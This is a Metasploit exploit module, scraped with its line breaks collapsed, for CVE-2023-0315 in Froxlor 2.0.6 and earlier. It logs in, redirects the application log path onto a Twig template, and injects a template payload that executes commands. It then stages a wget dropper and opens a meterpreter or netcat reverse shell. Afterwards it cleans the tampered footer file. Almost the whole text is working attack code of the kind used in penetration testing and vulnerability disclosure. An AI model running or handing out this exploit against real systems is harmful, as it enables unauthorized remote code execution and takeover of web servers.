### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::RemoteRank = ExcellentRankinginclude Msf::Exploit::Remote::HttpClientinclude Msf::Exploit::CmdStagerprepend Msf::Exploit::Remote::AutoCheckdef initialize(info = {})super(update_info(info,'Name' => 'Froxlor Log Path RCE','Description' => %q{Froxlor v2.0.6 and below suffer from a bug that allows authenticated users to change the application logs pathto any directory on the OS level which the user www-data can write without restrictions from the backend whichleads to writing a malicious Twig template that the application will render. That will lead to achieving aremote command execution under the user www-data.},'Author' => ['Askar', # discovery'jheysel-r7' # module],'References' => [[ 'URL', 'https://shells.systems/author/askar/'],[ 'CVE', '2023-0315']],'License' => MSF_LICENSE,'Platform' => 'linux','Privileged' => false,'Arch' => [ ARCH_CMD ],'Targets' => [['Linux ',{'Platform' => 'linux','Arch' => [ARCH_X86, ARCH_X64],'CmdStagerFlavor' => ['wget'],'Type' => :linux_dropper,'DefaultOptions' => { 'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp' }}],['Unix Command',{'Platform' => 'unix','Arch' => ARCH_CMD,'Type' => :unix_memory,'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_netcat' }}]],'DefaultTarget' => 0,'Notes' => {'Stability' => [CRASH_SAFE],'Reliability' => [REPEATABLE_SESSION],'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]},'DisclosureDate' => '2023-01-29'))register_options([OptString.new('USERNAME', [true, 'A specific username to authenticate as', 'admin']),OptString.new('PASSWORD', [true, 'A specific password to authenticate with', '']),OptString.new('TARGETURI', [true, 'The base path to the vulnerable Froxlor instance', '/froxlor']),OptString.new('WEB_ROOT', [true, 'The webroot ', '/var/www/html'])])enddef loginres = send_request_cgi('method' => 'POST','uri' => normalize_uri(target_uri.path, '/index.php'),'keep_cookies' => true,'vars_post' => {'loginname' => datastore['USERNAME'],'password' => datastore['PASSWORD'],'send' => 'send','dologin' => ''})if res && (res.code == 302 && res.headers.include?('Location') && res.headers['Location'] == 'admin_index.php')send_request_cgi('method' => 'GET','uri' => normalize_uri(target_uri.path, '/admin_index.php'),'keep_cookies' => true)print_good('Successful login')trueelsefalseendenddef checkbegin@authenticated = loginrescue InvalidRequest, InvalidResponse => ereturn Exploit::CheckCode::Unknown("Failed to authenticate to Froxlor: #{e.class}, #{e}")endversion_url = '/lib/ajax.php?action=updatecheck&theme=Froxlor'res = send_request_cgi('method' => 'GET','uri' => normalize_uri(target_uri.path, version_url),'keep_cookies' => true)if res.nil? || res.code != 200Exploit::CheckCode::Unknown("Failed to retrieve version info from #{normalize_uri(target_uri.path, version_url)}")elseversion = res.get_html_document.at('body/span/text()')if versionif Rex::Version.new('2.0.6') >= Rex::Version.new(version)Exploit::CheckCode::Appears("Vulnerable version found: #{version}")endelseExploit::CheckCode::Detected("Failed to obtain Froxlor version info from #{normalize_uri(target_uri.path, version_url)}")endendenddef get_csrf_token(url)res = send_request_cgi('method' => 'GET','uri' => normalize_uri(target_uri.path, url),'keep_cookies' => true)fail_with(Failure::UnexpectedReply, "Failed to get csrf token from #{normalize_uri(target_uri.path, url)}") unless (!res.nil? || res.code == 200)csrf_token = res.get_html_document.at('//input[@name="csrf_token"]/@value')&.textfail_with(Failure::UnexpectedReply, "No CSRF token found when querying #{normalize_uri(target_uri.path, url)}.") unless csrf_tokenprint_good("CSRF token is : #{csrf_token}")csrf_tokenenddef change_log_path(new_logfile)mime = Rex::MIME::Message.newmime.add_part('0', nil, nil, 'form-data; name="logger_enabled"')mime.add_part('1', nil, nil, 'form-data; name="logger_enabled"')mime.add_part('2', nil, nil, 'form-data; name="logger_severity"')mime.add_part('file', nil, nil, 'form-data; name="logger_logtypes[]"')mime.add_part(new_logfile, nil, nil, 'form-data; name="logger_logfile"')mime.add_part('0', nil, nil, 'form-data; name="logger_log_cron"')mime.add_part(@csrf_token, nil, nil, 'form-data; name="csrf_token"')mime.add_part('overview', nil, nil, 'form-data; name="page"')mime.add_part('', nil, nil, 'form-data; name="action"')mime.add_part('send', nil, nil, 'form-data; name="send"')res = send_request_cgi('method' => 'POST','uri' => normalize_uri(target_uri.path, '/admin_settings.php?'),'vars_get' => { 'page' => 'overview', 'part' => 'logging' },'keep_cookies' => true,'ctype' => "multipart/form-data; boundary=#{mime.bound}",'data' => mime.to_s)if res && res.code == 200 && res.body.include?('The settings have been successfully saved')return trueendfalseenddef execute_command(cmd, _opts = {})res = send_request_cgi('method' => 'POST','uri' => normalize_uri(target_uri.path, '/admin_index.php'),'keep_cookies' => true,'vars_post' => {'theme' => "{{['#{cmd}']|filter('exec')}}",'csrf_token' => @csrf_token,'page' => 'change_theme','send' => 'send','dosave' => ''})if res && res.code == 302 && res.headers['Location']if res.headers['Location'] == 'admin_index.php'print_good('Injected payload successfully')print_status("Changing log path back to default value while triggering payload: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/logs/froxlor.log")endelseprint_error('did not inject payload successfully')endenddef exploitfail_with(Failure::NoAccess, 'Failed to login') unless @authenticated || login@csrf_token = get_csrf_token('/admin_settings.php?page=overview&part=logging')if change_log_path("#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")print_good("Changed logfile path to: #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")case target['Type']when :unix_memoryexecute_command(payload.encoded)when :linux_dropperexecute_cmdstagerelseprint_error('Please enter valid target')endelsefail_with(Failure::UnexpectedReply, 'Failed to change the log path. The target might not be exploitable')endenddef on_new_session(session)super# Original footer.html.twig filefooter_html_twig = <<~EOF<footer class="text-center mb-3"><span><img src="{{ basehref|default("") }}templates/Froxlor/assets/img/logo_grey.png" alt="Froxlor"/>{% if install_mode is not defined %}{% if (get_setting('admin.show_version_login') == '1'and area == 'login') or (area != 'login'and get_setting('admin.show_version_footer') == '1') %}{{ call_static('\\Froxlor\\Froxlor', 'getFullVersion') }}{% endif %}{% endif %}© 2009-{{ "now"|date("Y") }} by <a href="https://www.froxlor.org/" rel="external" target="_blank">the Froxlor Team</a><br>{% if install_mode is not defined %}{% if (get_setting('panel.imprint_url') != '') %}<a href="{{ get_setting('panel.imprint_url') }}" target="_blank" class="footer-link">{{ lng('imprint') }}</a>{% endif %}{% if (get_setting('panel.terms_url') != '') %}<a href="{{ get_setting('panel.terms_url') }}" target="_blank" class="footer-link">{{ lng('terms') }}</a>{% endif %}{% if (get_setting('panel.privacy_url') != '') %}<a href="{{ get_setting('panel.privacy_url') }}" target="_blank" class="footer-link">{{ lng('privacy') }}</a>{% endif %}{% endif %}</span>{% if lng('translator') %}<br/><small class="mt-3">{{ lng('panel.translator') }}: {{ lng('translator') }}</small>{% endif %}</footer>EOFif session.type == 'meterpreter'print_status('Deleting tampered footer.html.twig file')filename = "#{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig"session.fs.file.rm(filename)fd = session.fs.file.new(filename, 'wb')print_status('Rewriting clean footer.html.twig file')fd.write(footer_html_twig)fd.closeelseprint_status('Cleaning tampered footer.html.twig file')# Remove all log lines added to footer.html.twig by the exploit# (all log lines start with an opening square bracket ex: [2023-02-16 09:08:28] froxlor.INFO: [API] ...)session.shell_command_token("sed '/^\\[/d' #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig > #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")session.shell_command_token("mv -f #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/footer.html.twig")session.shell_command_token("rm #{datastore['WEB_ROOT']}#{datastore['TARGETURI']}/templates/Froxlor/tmp")endendend
Source: 0400203202-BLW/eussi/moc.ytirucesxc
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
请登录后发表评论
注册